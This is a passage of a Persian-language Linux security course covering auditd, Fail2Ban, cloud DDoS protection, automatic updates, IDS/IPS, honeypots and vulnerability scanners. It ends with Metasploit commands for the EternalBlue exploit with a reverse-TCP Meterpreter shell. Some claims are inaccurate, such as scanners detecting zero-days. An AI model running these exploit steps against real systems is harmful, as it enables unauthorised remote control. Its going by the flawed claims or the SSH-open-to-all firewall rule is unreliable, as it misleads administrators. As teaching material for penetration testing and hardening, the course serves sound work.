  • -p wa به این معنی است که هرگونه نوشتن و دسترسی به فایل باید ثبت شود.
  • -k login-events یک کلید شناسایی به این قانون اختصاص می‌دهد که برای جستجو در گزارش‌ها مفید است.

مثال 2: نظارت بر اجرای دستورات خاص

اگر می‌خواهید نظارت بر اجرای دستورات خاصی مانند chmod یا chown داشته باشید، می‌توانید از دستور زیر استفاده کنید:

sudo auditctl -a always,exit -F arch=b64 -S chmod -S chown -k permission-changes

این دستور هر بار که دستوری مانند chmod یا chown اجرا شود، ثبت خواهد شد.

3. استفاده از ausearch برای جستجو و تحلیل رویدادها

پس از تعریف قوانین و ثبت رویدادها، می‌توانید از ابزار ausearch برای جستجو و تحلیل رویدادهای ثبت‌شده استفاده کنید.

مثال 1: جستجو برای رویدادهای خاص با کلید مشخص

برای جستجوی رویدادهای ثبت‌شده با یک کلید خاص (در اینجا login-events):

sudo ausearch -k login-events

این دستور تمامی رویدادهایی که با کلید login-events ثبت شده‌اند را نمایش می‌دهد.

مثال 2: جستجو برای فعالیت‌های خاص در یک بازه زمانی مشخص

برای جستجو بر اساس بازه زمانی، می‌توانید از دستور زیر استفاده کنید:

sudo ausearch -ts today -te now

این دستور رویدادهایی را که امروز ثبت شده‌اند، نمایش می‌دهد.

مثال 3: تحلیل جزئیات یک رویداد خاص

اگر می‌خواهید جزئیات بیشتری از یک رویداد خاص را مشاهده کنید، می‌توانید از دستور زیر استفاده کنید:

sudo ausearch -i -m EXECVE

این دستور جزئیات مربوط به فراخوانی دستورها را نمایش می‌دهد.

4. پیکربندی فایل‌های log

تمامی رویدادهای سیستم در فایل‌های لاگ مربوطه ذخیره می‌شوند که می‌توانند در مسیرهای مختلفی قرار داشته باشند. به‌طور پیش‌فرض، این لاگ‌ها در مسیر /var/log/audit/audit.log قرار دارند. برای تنظیمات بیشتر، می‌توانید فایل پیکربندی auditd را ویرایش کنید:

مسیر فایل پیکربندی:

/etc/audit/auditd.conf

در این فایل می‌توانید تنظیماتی مانند محل ذخیره لاگ‌ها و حجم فایل‌های لاگ را تغییر دهید.

مثال: تغییر مکان ذخیره‌سازی لاگ‌ها

برای تغییر مسیر ذخیره‌سازی لاگ‌ها، می‌توانید مقدار log_file را در فایل پیکربندی auditd.conf تغییر دهید:

log_file = /var/log/new_audit.log

سپس سرویس auditd را ریستارت کنید تا تغییرات اعمال شوند:

sudo systemctl restart auditd

جمع‌بندی

استفاده از ابزارهای auditctl و ausearch به مدیران سیستم این امکان را می‌دهد که به‌طور دقیق رویدادها و فعالیت‌های سیستم را نظارت کنند. با پیکربندی صحیح قوانین با استفاده از auditctl و تحلیل این رویدادها با استفاده از ausearch، می‌توان امنیت سیستم را بهبود بخشید و تهدیدات احتمالی را شناسایی کرد. این ابزارها در کنار دیگر ابزارهای امنیتی می‌توانند به شناسایی و جلوگیری از حملات و فعالیت‌های مخرب کمک کنند.[/cdb_course_lesson][cdb_course_lesson title=”فصل 6. مقابله با حملات”][/cdb_course_lesson][cdb_course_lesson title=”شناسایی و مقابله با حملات Brute Force”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیکربندی Fail2Ban برای جلوگیری از حملات Brute Force به سرویس‌ها” subtitle=”توضیحات کامل”]Fail2Ban یک ابزار امنیتی است که برای شناسایی و مسدود کردن خودکار آدرس‌های IP که تلاش‌های ناموفق متعددی برای ورود دارند، استفاده می‌شود. این ابزار از فایل‌های لاگ برای شناسایی حملات Brute Force و سایر فعالیت‌های مخرب استفاده کرده و IP‌های مشکوک را در فایروال مسدود می‌کند.

در این بخش، مراحل نصب، پیکربندی و تنظیم قوانین Fail2Ban برای محافظت از سرویس‌های مهمی مانند SSH، Apache و Postfix ارائه می‌شود.


نصب Fail2Ban در سیستم

نصب روی Debian و Ubuntu
sudo apt update
sudo apt install fail2ban -y
نصب روی CentOS و RHEL
sudo yum install epel-release -y
sudo yum install fail2ban -y
نصب روی Arch Linux
sudo pacman -S fail2ban

فعال‌سازی و بررسی وضعیت Fail2Ban

فعال‌سازی سرویس
sudo systemctl enable --now fail2ban
بررسی وضعیت سرویس
sudo systemctl status fail2ban

پیکربندی Fail2Ban

مسیر فایل‌های پیکربندی
  • تنظیمات اصلی:
    /etc/fail2ban/jail.conf
    
  • فایل پیکربندی اختصاصی (برای جلوگیری از تغییرات در بروزرسانی‌ها):
    /etc/fail2ban/jail.local
    
  • قوانین بررسی لاگ‌ها (Filters):
    /etc/fail2ban/filter.d/
    
ایجاد فایل jail.local برای تنظیمات سفارشی

برای جلوگیری از تغییرات بروزرسانی‌ها، تنظیمات باید در فایل jail.local انجام شود.

sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo nano /etc/fail2ban/jail.local

در این فایل، تنظیمات زیر را اعمال کنید:

[DEFAULT]
# مدت زمان مسدود شدن (در ثانیه)
bantime = 3600 

# تعداد تلاش‌های ناموفق قبل از مسدود شدن
maxretry = 5 

# مدت زمانی که لاگ‌های قدیمی بررسی می‌شوند (در ثانیه)
findtime = 600 

# مسدود کردن با استفاده از iptables
banaction = iptables-multiport 

تنظیم Fail2Ban برای SSH

برای جلوگیری از حملات Brute Force به SSH، در فایل jail.local، بخش [sshd] را فعال کنید:

[sshd]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 5
bantime = 3600

در سیستم‌های RHEL و CentOS مسیر لاگ SSH متفاوت است و باید مقدار زیر تنظیم شود:

logpath = /var/log/secure
اعمال تنظیمات
sudo systemctl restart fail2ban
بررسی وضعیت Fail2Ban برای SSH
sudo fail2ban-client status sshd

تنظیم Fail2Ban برای Apache

برای جلوگیری از حملات Brute Force به Apache (مثلاً تلاش برای ورود به پنل مدیریت وردپرس یا دسترسی‌های غیرمجاز)، تنظیمات زیر را در jail.local اضافه کنید:

[apache-auth]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/error.log
maxretry = 5
bantime = 1800
بررسی قوانین مربوط به Apache
sudo fail2ban-client status apache-auth

تنظیم Fail2Ban برای Postfix (محافظت از سرور ایمیل)

اگر Postfix به‌عنوان سرور ایمیل در حال اجرا باشد، Fail2Ban می‌تواند از آن در برابر حملات محافظت کند.

تنظیمات زیر را در jail.local اضافه کنید:

[postfix]
enabled = true
port = smtp,submission,465
filter = postfix
logpath = /var/log/mail.log
maxretry = 5
bantime = 3600
بررسی قوانین مربوط به Postfix
sudo fail2ban-client status postfix

مشاهده و مدیریت IP‌های مسدود‌شده

نمایش تمامی قوانین فعال
sudo fail2ban-client status
مشاهده IP‌های مسدود‌شده برای SSH
sudo fail2ban-client status sshd
رفع مسدودیت یک IP خاص
sudo fail2ban-client set sshd unbanip 192.168.1.100
مسدود کردن دستی یک IP
sudo fail2ban-client set sshd banip 192.168.1.200

ثبت لاگ‌های Fail2Ban

تمامی فعالیت‌های Fail2Ban در فایل زیر ثبت می‌شود:

/var/log/fail2ban.log

برای مشاهده لاگ‌های جدید:

sudo tail -f /var/log/fail2ban.log

جمع‌بندی

در این بخش، نحوه نصب، پیکربندی و مدیریت Fail2Ban برای محافظت از SSH، Apache و Postfix بررسی شد. Fail2Ban ابزار قدرتمندی برای جلوگیری از حملات Brute Force و محافظت از سرورهای لینوکسی است. با استفاده از این راهکار، می‌توان امنیت سرویس‌های حساس را افزایش داد و دسترسی‌های مخرب را به‌صورت خودکار مسدود کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از خدمات Cloud-based برای Mitigation حملات” subtitle=”توضیحات کامل”]با گسترش روزافزون تهدیدات سایبری، بسیاری از شرکت‌ها و سازمان‌ها به سمت استفاده از خدمات ابری (Cloud-based services) برای کاهش خطرات و مقابله با حملات سایبری حرکت کرده‌اند. این خدمات شامل تکنیک‌ها و ابزارهایی هستند که به کمک آنها می‌توان انواع مختلف حملات از جمله حملات DDoS، تزریق SQL، و حملات نفوذی را شناسایی و متوقف کرد. در این قسمت به بررسی خدمات ابری و چگونگی استفاده از آنها برای مقابله با حملات خواهیم پرداخت.

1. استفاده از AWS Shield برای مقابله با حملات DDoS

AWS Shield یک سرویس مدیریت شده در آمازون وب سرویس است که برای محافظت از منابع شما در برابر حملات DDoS طراحی شده است. AWS Shield در دو سطح ارائه می‌شود:

  • AWS Shield Standard: به صورت خودکار و بدون هزینه اضافی برای محافظت از سرویس‌هایی مانند EC2، ELB، و CloudFront فعال است.
  • AWS Shield Advanced: این سطح علاوه بر امکانات سطح استاندارد، محافظت پیشرفته‌تری برای حملات پیچیده‌تر و خدمات 24/7 ارائه می‌دهد.

1.1. فعال‌سازی AWS Shield Advanced

برای فعال‌سازی AWS Shield Advanced، باید ابتدا وارد کنسول AWS شوید و مراحل زیر را دنبال کنید:

  1. وارد کنسول مدیریت AWS شوید.
  2. به قسمت AWS Shield بروید.
  3. بر روی Advanced کلیک کنید.
  4. برای تکمیل فرایند، مراحل راه‌اندازی را دنبال کنید.

1.2. استفاده از AWS WAF در کنار AWS Shield

برای محافظت بیشتر در برابر حملات، می‌توان از AWS WAF (Web Application Firewall) در کنار AWS Shield استفاده کرد. AWS WAF به شما این امکان را می‌دهد که درخواست‌های HTTP/S را بر اساس قوانین مختلف فیلتر کنید.

برای راه‌اندازی AWS WAF از کنسول AWS:

  1. وارد کنسول WAF شوید.
  2. یک Web ACL جدید بسازید.
  3. قوانین فیلترینگ مورد نظر را اضافه کنید.
  4. Web ACL را به منابع خود مانند CloudFront، ALB یا API Gateway متصل کنید.

در صورت نیاز به پیکربندی AWS WAF از دستور زیر در AWS CLI نیز می‌توانید استفاده کنید:

aws wafv2 create-web-acl \
    --name "MyWebACL" \
    --scope "CLOUDFRONT" \
    --default-action Allow={} \
    --rules '[
        {
            "Name": "BlockSQLInjection",
            "Priority": 1,
            "Action": {"Block": {}},
            "Statement": {
                "SqliMatchStatement": {
                    "FieldToMatch": {"Body": {}},
                    "TextTransformations": [{"Priority": 0, "Type": "NONE"}]
                }
            }
        }
    ]' \
    --region us-east-1

این دستور یک Web ACL ایجاد می‌کند که از حملات SQL Injection جلوگیری می‌کند.

2. استفاده از Google Cloud Armor برای مقابله با حملات

Google Cloud Armor سرویس امنیتی ابری است که به‌طور خاص برای حفاظت از برنامه‌های وب در برابر حملات DDoS و سایر تهدیدات طراحی شده است. این سرویس از فایروال‌های مبتنی بر قوانین و شبیه‌سازی حملات استفاده می‌کند تا امنیت منابع را تضمین کند.

2.1. پیکربندی Google Cloud Armor

برای پیکربندی Google Cloud Armor، ابتدا باید وارد کنسول Google Cloud شوید و سپس مراحل زیر را انجام دهید:

  1. وارد کنسول Google Cloud شوید.
  2. به قسمت Security و سپس Cloud Armor بروید.
  3. یک Security Policy جدید بسازید.
  4. قوانین امنیتی مختلف را طبق نیاز خود تنظیم کنید.

برای ایجاد یک Security Policy از طریق Google Cloud CLI، می‌توانید دستور زیر را وارد کنید:

gcloud compute security-policies create my-policy --description "Security policy for my app"

پس از ایجاد سیاست امنیتی، باید آن را به منابع خود مانند Load Balancer متصل کنید:

gcloud compute backend-services update my-backend-service \
    --security-policy my-policy \
    --global

این دستور امنیتی را به سرویس بارگذاری (Load Balancer) شما اعمال می‌کند.

3. استفاده از Azure DDoS Protection برای محافظت در برابر حملات

Azure DDoS Protection یکی دیگر از سرویس‌های ابری است که برای مقابله با حملات DDoS در محیط‌های ابری مایکروسافت Azure طراحی شده است. Azure DDoS Protection در دو سطح ارائه می‌شود:

  • Standard: محافظت پیشرفته‌تری برای منابع خاص فراهم می‌کند.
  • Basic: به صورت پیش‌فرض برای همه منابع فعال است.

3.1. فعال‌سازی Azure DDoS Protection

برای فعال‌سازی Azure DDoS Protection Standard، مراحل زیر را دنبال کنید:

  1. وارد Azure Portal شوید.
  2. به بخش DDoS Protection بروید.
  3. یک Protection Plan جدید بسازید.
  4. منابع خود را به این Protection Plan متصل کنید.

3.2. پیکربندی Azure Network Security Group (NSG)

در کنار Azure DDoS Protection، برای مدیریت دسترسی به شبکه‌ها، می‌توانید از Network Security Group (NSG) استفاده کنید. برای این کار از دستور زیر استفاده کنید:

az network nsg rule create \
    --resource-group MyResourceGroup \
    --nsg-name MyNetworkSecurityGroup \
    --name AllowSSH \
    --protocol tcp \
    --direction inbound \
    --priority 100 \
    --source-address-prefixes "*" \
    --destination-port-ranges 22 \
    --access allow

این دستور یک قانون برای مجاز کردن دسترسی به پورت SSH بر روی NSG ایجاد می‌کند.

جمع‌بندی

استفاده از خدمات ابری برای Mitigation حملات، به‌ویژه حملات DDoS، بسیار موثر است و با ابزارهایی همچون AWS Shield, Google Cloud Armor, و Azure DDoS Protection می‌توان از منابع خود در برابر تهدیدات سایبری حفاظت کرد. با پیکربندی صحیح و استفاده از ابزارهای فایروال و نظارتی، می‌توان امنیت بیشتری را در سیستم‌های ابری تضمین کرد و از آسیب‌دیدگی به منابع حیاتی جلوگیری کرد.[/cdb_course_lesson][cdb_course_lesson title=”مقابله با حملات Zero-Day”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیاده‌سازی به‌روزرسانی‌های خودکار و بروزرسانی‌های امنیتی” subtitle=”توضیحات کامل”]حملات Zero-Day به حملاتی اطلاق می‌شود که در آن‌ها مهاجم از یک آسیب‌پذیری که هنوز توسط تولیدکنندگان نرم‌افزار شناخته نشده است، بهره‌برداری می‌کند. این نوع حملات معمولاً پس از شناسایی آسیب‌پذیری‌ها، بسیار سریع رخ می‌دهند و می‌توانند خسارت‌های فراوانی ایجاد کنند. یکی از مؤثرترین روش‌ها برای مقابله با حملات Zero-Day، به‌روزرسانی‌های امنیتی به‌موقع و پیاده‌سازی به‌روزرسانی‌های خودکار است. در این قسمت، به بررسی راهکارهای مختلف برای مقابله با این نوع حملات خواهیم پرداخت.

1. پیاده‌سازی به‌روزرسانی‌های خودکار

یکی از مهم‌ترین اقدامات برای مقابله با آسیب‌پذیری‌های Zero-Day، پیاده‌سازی به‌روزرسانی‌های خودکار است. به‌روزرسانی‌های خودکار باعث می‌شوند که سیستم‌ها به‌طور خودکار نرم‌افزارها و بسته‌های امنیتی را دریافت و نصب کنند، بدون اینکه نیاز به مداخله دستی باشد.

1.1. فعال‌سازی به‌روزرسانی خودکار در سیستم‌های لینوکسی

در سیستم‌های لینوکسی، یکی از روش‌های اصلی برای فعال کردن به‌روزرسانی خودکار، استفاده از ابزارهایی مانند unattended-upgrades است که به‌طور خودکار بسته‌های امنیتی را نصب می‌کند. برای فعال‌سازی این ابزار، مراحل زیر را دنبال کنید:

  1. ابتدا unattended-upgrades را نصب کنید:
sudo apt-get install unattended-upgrades
  1. سپس فایل پیکربندی را باز کنید:
sudo nano /etc/apt/apt.conf.d/50unattended-upgrades
  1. در این فایل، خط‌های مربوط به نصب به‌روزرسانی‌های امنیتی را پیدا کرده و مطمئن شوید که تنظیمات به درستی فعال هستند. به‌عنوان مثال:
"${distro_id}:${distro_codename}-security";
  1. در نهایت، برای فعال‌سازی به‌روزرسانی خودکار، فایل پیکربندی apt را ویرایش کنید:
sudo nano /etc/apt/apt.conf.d/10periodic

و تنظیمات زیر را وارد کنید:

APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";
APT::Periodic::AutocleanInterval "7";

این تنظیمات به‌روزرسانی‌ها را به‌طور خودکار در فواصل منظم انجام می‌دهند.

1.2. پیاده‌سازی به‌روزرسانی‌های خودکار در سیستم‌های ویندوز

در سیستم‌های ویندوز، می‌توان از Windows Update برای فعال کردن به‌روزرسانی‌های خودکار استفاده کرد. برای انجام این کار:

  1. وارد Control Panel شوید.
  2. به بخش System and Security بروید.
  3. روی Windows Update کلیک کنید.
  4. در منوی سمت چپ، گزینه Change settings را انتخاب کنید.
  5. در این بخش، گزینه Install updates automatically (recommended) را فعال کنید تا به‌روزرسانی‌ها به‌طور خودکار نصب شوند.

همچنین می‌توانید از دستور PowerShell برای بررسی و نصب به‌روزرسانی‌ها استفاده کنید:

Install-WindowsUpdate -AcceptAll -AutoReboot

2. پیاده‌سازی بروزرسانی‌های امنیتی به‌طور منظم

برای مقابله با حملات Zero-Day، علاوه بر به‌روزرسانی‌های خودکار، باید یک فرآیند منظم برای پیاده‌سازی به‌روزرسانی‌های امنیتی در نظر گرفته شود. این فرآیند باید شامل به‌روزرسانی‌های سیستم‌عامل، نرم‌افزارها و هرگونه پکیج وابسته به سیستم باشد.

2.1. به‌روزرسانی‌های امنیتی در لینوکس

در سیستم‌های لینوکسی می‌توانید با استفاده از دستور زیر، به‌روزرسانی‌های امنیتی را به‌طور دستی نصب کنید:

sudo apt-get update
sudo apt-get upgrade

همچنین، برای نصب به‌روزرسانی‌های امنیتی به‌صورت خودکار در هر زمان، می‌توانید از دستور زیر استفاده کنید:

sudo unattended-upgrade

2.2. به‌روزرسانی‌های امنیتی در ویندوز

در ویندوز، به‌روزرسانی‌های امنیتی از طریق Windows Update قابل نصب هستند. برای نصب به‌روزرسانی‌های دستی، دستور زیر را در PowerShell وارد کنید:

Get-WindowsUpdate -Install

این دستور به‌طور خودکار به‌روزرسانی‌های موجود را دریافت و نصب می‌کند.

3. استفاده از ابزارهای تحلیل آسیب‌پذیری برای شناسایی آسیب‌پذیری‌های Zero-Day

برای شناسایی آسیب‌پذیری‌های ناشناخته که هنوز هیچ به‌روزرسانی امنیتی برای آن‌ها وجود ندارد، می‌توان از ابزارهای تحلیل آسیب‌پذیری مانند Nessus، OpenVAS و Qualys استفاده کرد. این ابزارها به شناسایی آسیب‌پذیری‌های سیستم کمک کرده و به شما این امکان را می‌دهند که پیش از اینکه حمله‌ای صورت گیرد، نسبت به آن‌ها اقدام کنید.

3.1. نصب Nessus برای تحلیل آسیب‌پذیری‌ها

برای نصب Nessus بر روی سیستم لینوکسی، مراحل زیر را دنبال کنید:

  1. ابتدا Nessus را از وب‌سایت رسمی آن دانلود کنید:
wget https://www.tenable.com/downloads/api/v1/public/pages/nessus/downloads/11039/download?i=3a0a5eaf-7887-4c5f-b132-f1ba34568959
  1. پس از دانلود، فایل را استخراج کنید:
tar -xvzf Nessus-*.tar.gz
  1. سپس سرویس Nessus را راه‌اندازی کنید:
sudo systemctl start nessusd
  1. برای شروع به استفاده از Nessus، به صفحه وب آن مراجعه کرده و ورود کنید.

3.2. استفاده از OpenVAS

برای نصب و استفاده از OpenVAS (که اکنون به نام Greenbone Vulnerability Management (GVM) شناخته می‌شود)، مراحل زیر را دنبال کنید:

  1. ابتدا پکیج OpenVAS را نصب کنید:
sudo apt-get install openvas
  1. سپس پایگاه داده OpenVAS را راه‌اندازی کنید:
sudo gvm-setup
  1. پس از راه‌اندازی، می‌توانید از ابزار Greenbone Security Assistant برای اسکن آسیب‌پذیری‌ها استفاده کنید.

جمع‌بندی

برای مقابله مؤثر با حملات Zero-Day، پیاده‌سازی به‌روزرسانی‌های خودکار و بروزرسانی‌های امنیتی به‌طور منظم ضروری است. با استفاده از ابزارهای به‌روزرسانی خودکار مانند unattended-upgrades در لینوکس و Windows Update در ویندوز، می‌توان آسیب‌پذیری‌های سیستم را کاهش داد. علاوه بر این، استفاده از ابزارهای تحلیل آسیب‌پذیری مانند Nessus و OpenVAS می‌تواند به شناسایی آسیب‌پذیری‌های جدید کمک کرده و امنیت سیستم‌ها را در برابر تهدیدات Zero-Day افزایش دهد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ابزارهای جلوگیری از نفوذ و شناسایی آسیب‌پذیری‌ها” subtitle=”توضیحات کامل”]حملات Zero-Day به حملاتی اطلاق می‌شود که از آسیب‌پذیری‌هایی بهره می‌برند که هنوز توسط تولیدکنندگان نرم‌افزار شناسایی یا اصلاح نشده‌اند. از آنجا که این نوع حملات به طور معمول به سرعت رخ می‌دهند و معمولاً قبل از شناسایی و رفع آسیب‌پذیری‌ها اتفاق می‌افتند، استفاده از ابزارهایی برای شناسایی و جلوگیری از نفوذ و آسیب‌پذیری‌ها می‌تواند بسیار مؤثر باشد. در این بخش به بررسی ابزارهای جلوگیری از نفوذ و شناسایی آسیب‌پذیری‌ها خواهیم پرداخت که به طور خاص برای مقابله با حملات Zero-Day طراحی شده‌اند.

1. ابزارهای جلوگیری از نفوذ (IDS/IPS)

ابزارهای سیستم‌های تشخیص نفوذ (IDS) و سیستم‌های پیشگیری از نفوذ (IPS) به شناسایی و جلوگیری از حملات پیشرفته مانند حملات Zero-Day کمک می‌کنند. این ابزارها به طور مداوم ترافیک شبکه را نظارت می‌کنند و با شناسایی الگوهای مخرب و تهدیدات، اقدامات متناسب را انجام می‌دهند.

1.1. استفاده از Snort به عنوان IDS

Snort یک ابزار متن‌باز بسیار محبوب برای تشخیص و پیشگیری از نفوذ است. این ابزار به طور خاص می‌تواند برای شناسایی حملات Zero-Day از طریق تحلیل ترافیک شبکه و استفاده از قوانین مشخص، مفید باشد.

برای نصب Snort بر روی لینوکس، از دستور زیر استفاده کنید:

sudo apt-get install snort

پس از نصب، فایل پیکربندی Snort را ویرایش کنید:

sudo nano /etc/snort/snort.conf

در این فایل، می‌توانید قوانین مختلف برای تشخیص حملات مختلف، از جمله حملات Zero-Day، را تنظیم کنید. سپس برای شروع نظارت بر ترافیک شبکه از دستور زیر استفاده کنید:

sudo snort -A console -c /etc/snort/snort.conf -i eth0

1.2. استفاده از Suricata به عنوان IPS

Suricata یک ابزار پیشرفته برای پیشگیری از نفوذ است که می‌تواند علاوه بر نظارت بر ترافیک، حملات Zero-Day را شناسایی و جلوی آن‌ها را بگیرد. Suricata به طور ویژه از پروتکل‌های مختلف پشتیبانی می‌کند و از قابلیت‌های پیشرفته‌ای مانند تحلیل عمیق بسته‌ها (Deep Packet Inspection) برخوردار است.

برای نصب Suricata، از دستور زیر استفاده کنید:

sudo apt-get install suricata

برای فعال‌سازی و پیکربندی آن، ابتدا فایل پیکربندی Suricata را ویرایش کنید:

sudo nano /etc/suricata/suricata.yaml

پس از پیکربندی، می‌توانید Suricata را با دستور زیر اجرا کنید:

sudo suricata -c /etc/suricata/suricata.yaml -i eth0

این ابزار به طور فعال ترافیک شبکه را بررسی کرده و تهدیدات را شناسایی می‌کند.

2. ابزارهای شناسایی آسیب‌پذیری‌ها

ابزارهای شناسایی آسیب‌پذیری‌ها می‌توانند برای شناسایی آسیب‌پذیری‌های سیستم که ممکن است توسط حملات Zero-Day بهره‌برداری شوند، بسیار مفید باشند. این ابزارها به شناسایی آسیب‌پذیری‌های موجود در نرم‌افزارها، سیستم‌عامل‌ها و پیکربندی‌های امنیتی کمک می‌کنند.

2.1. استفاده از Nessus برای شناسایی آسیب‌پذیری‌ها

Nessus یکی از شناخته‌شده‌ترین ابزارهای تحلیل آسیب‌پذیری است که قادر به شناسایی آسیب‌پذیری‌های موجود در سیستم‌ها و شبکه‌ها است. Nessus به‌ویژه برای شناسایی آسیب‌پذیری‌های Zero-Day مفید است زیرا با پایگاه‌داده‌ای از آسیب‌پذیری‌های شناخته‌شده، این ابزار به طور پیوسته آسیب‌پذیری‌ها را شناسایی و به‌روزرسانی می‌کند.

برای نصب Nessus، مراحل زیر را دنبال کنید:

  1. ابتدا Nessus را از وب‌سایت رسمی آن دانلود کنید:
wget https://www.tenable.com/downloads/api/v1/public/pages/nessus/downloads/11039/download?i=3a0a5eaf-7887-4c5f-b132-f1ba34568959
  1. سپس فایل را استخراج کنید:
tar -xvzf Nessus-*.tar.gz
  1. پس از استخراج، سرویس Nessus را راه‌اندازی کنید:
sudo systemctl start nessusd
  1. برای استفاده از Nessus، به صفحه وب آن مراجعه کرده و وارد سیستم شوید.

2.2. استفاده از OpenVAS برای شناسایی آسیب‌پذیری‌ها

OpenVAS (که به‌طور جدیدتر به Greenbone Vulnerability Management تغییر نام داده است) یکی دیگر از ابزارهای بسیار مفید برای شناسایی آسیب‌پذیری‌ها است. این ابزار از پایگاه‌داده بزرگی برای شناسایی آسیب‌پذیری‌های سیستم‌ها و برنامه‌ها استفاده می‌کند و قابلیت شناسایی آسیب‌پذیری‌های Zero-Day را نیز دارا است.

برای نصب OpenVAS، از دستور زیر استفاده کنید:

sudo apt-get install openvas

پس از نصب، پایگاه‌داده OpenVAS را راه‌اندازی کنید:

sudo gvm-setup

پس از راه‌اندازی، از ابزار Greenbone Security Assistant برای انجام اسکن آسیب‌پذیری‌ها استفاده کنید.

3. استفاده از Honeypot برای شناسایی حملات Zero-Day

یکی از روش‌های مفید دیگر برای شناسایی حملات Zero-Day، استفاده از Honeypot است. Honeypot یک سیستم یا سرویس فریب‌دهنده است که به‌طور عمدی آسیب‌پذیری‌هایی را در خود ایجاد می‌کند تا حملات مهاجمین را جذب کند. این ابزارها می‌توانند به شناسایی آسیب‌پذیری‌های Zero-Day و تحلیل رفتار مهاجمین کمک کنند.

برای نصب Honeyd به‌عنوان Honeypot بر روی سیستم لینوکسی، از دستورات زیر استفاده کنید:

  1. نصب Honeyd:
sudo apt-get install honeyd
  1. پیکربندی Honeyd برای شبیه‌سازی سرویس‌های آسیب‌پذیر:
sudo nano /etc/honeyd.conf

در فایل پیکربندی، سرویس‌های آسیب‌پذیر را تعریف کنید.

  1. راه‌اندازی Honeyd:
sudo honeyd -d -f /etc/honeyd.conf

جمع‌بندی

برای مقابله با حملات Zero-Day، ابزارهای مختلفی مانند Snort و Suricata برای جلوگیری از نفوذ و شناسایی آسیب‌پذیری‌ها می‌توانند مفید باشند. علاوه بر این، استفاده از ابزارهای شناسایی آسیب‌پذیری مانند Nessus و OpenVAS به شناسایی آسیب‌پذیری‌های موجود در سیستم‌ها و برنامه‌ها کمک می‌کند. همچنین، استفاده از Honeypot می‌تواند به شبیه‌سازی محیط‌های آسیب‌پذیر برای شناسایی حملات Zero-Day و تحلیل رفتار مهاجمین کمک کند.[/cdb_course_lesson][cdb_course_lesson title=”فصل 7. تست نفوذ و ارزیابی امنیتی”][/cdb_course_lesson][cdb_course_lesson title=”اجرای تست‌های نفوذ (Penetration Testing)”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از ابزارهایی مانند Metasploit و Nessus برای ارزیابی امنیت” subtitle=”توضیحات کامل”]تست‌های نفوذ یکی از مهم‌ترین روش‌ها برای ارزیابی و تحلیل امنیت سیستم‌ها، شبکه‌ها و برنامه‌های کاربردی هستند. هدف اصلی این تست‌ها شبیه‌سازی حملاتی است که ممکن است توسط مهاجمان انجام شود تا نقاط ضعف امنیتی سیستم‌ها شناسایی و اصلاح شوند. در این بخش، به بررسی دو ابزار متداول برای تست نفوذ، یعنی Metasploit و Nessus خواهیم پرداخت. این دو ابزار به ترتیب برای شبیه‌سازی حملات و ارزیابی آسیب‌پذیری‌ها استفاده می‌شوند.


استفاده از Metasploit برای ارزیابی امنیت

Metasploit یکی از قدرتمندترین و شناخته‌شده‌ترین ابزارها در دنیای تست‌های نفوذ است که به متخصصان امنیت کمک می‌کند تا به شبیه‌سازی حملات و کشف آسیب‌پذیری‌های سیستم بپردازند. این ابزار شامل یک مجموعه کامل از exploits، payloads و ابزارهای دیگر است که امکان شبیه‌سازی انواع حملات مختلف را فراهم می‌کند.

1. نصب Metasploit:

برای نصب Metasploit، ابتدا باید سیستم خود را به‌روزرسانی کنید و سپس بسته Metasploit را از مخازن رسمی نصب نمایید.

کد نصب در سیستم‌های مبتنی بر Ubuntu/Debian:

sudo apt update
sudo apt install metasploit-framework

2. اجرای Metasploit:

پس از نصب، می‌توانید Metasploit را با استفاده از دستور زیر راه‌اندازی کنید:

msfconsole

این دستور باعث می‌شود که کنسول Metasploit باز شود و شما بتوانید از آن برای اجرای تست‌های نفوذ استفاده کنید.

3. استفاده از Metasploit برای شبیه‌سازی حملات:

برای استفاده از یک exploit در Metasploit، ابتدا باید نوع آسیب‌پذیری و هدف خود را مشخص کنید. به‌عنوان مثال، اگر بخواهید حمله‌ای برای آسیب‌پذیری MS17-010 (که در Windows SMB وجود دارد) انجام دهید، ابتدا باید exploit مربوط به این آسیب‌پذیری را انتخاب کنید.

دستور انتخاب exploit:

use exploit/windows/smb/ms17_010_eternalblue

پس از انتخاب exploit، شما باید payload مناسب را برای هدف خود انتخاب کنید:

دستور انتخاب payload:

set payload windows/x64/meterpreter/reverse_tcp

سپس باید آدرس IP و پورت مقصد را تنظیم کنید:

set RHOSTS [target_ip]
set LHOST [your_ip]
set LPORT [port_number]

در نهایت، با دستور زیر حمله را شروع می‌کنید:

exploit

استفاده از Nessus برای ارزیابی آسیب‌پذیری‌ها

Nessus یک ابزار قدرتمند برای شناسایی آسیب‌پذیری‌ها است که در بسیاری از ارزیابی‌های امنیتی استفاده می‌شود. این ابزار به‌ویژه برای ارزیابی آسیب‌پذیری‌های شبکه و سیستم‌ها طراحی شده و می‌تواند برای شناسایی ضعف‌های امنیتی به‌طور مؤثر مورد استفاده قرار گیرد.

1. نصب Nessus:

برای نصب Nessus بر روی سیستم، ابتدا باید آن را از سایت رسمی دانلود کرده و سپس مراحل نصب را طی کنید.

کد نصب برای سیستم‌های مبتنی بر Ubuntu/Debian:

ابتدا فایل deb Nessus را از وب‌سایت رسمی دانلود کنید.

wget https://www.tenable.com/downloads/api/v1/public/pages/nessus/downloads/11221/download?i_agree_to_tenable_license_agreement=true

سپس، بسته را نصب کنید:

sudo dpkg -i Nessus-<version>.deb

پس از نصب، Nessus را با دستور زیر راه‌اندازی کنید:

sudo systemctl start nessusd

2. دسترسی به رابط کاربری وب Nessus:

برای دسترسی به رابط کاربری وب Nessus، مرورگر خود را باز کرده و آدرس زیر را وارد کنید:

https://localhost:8834

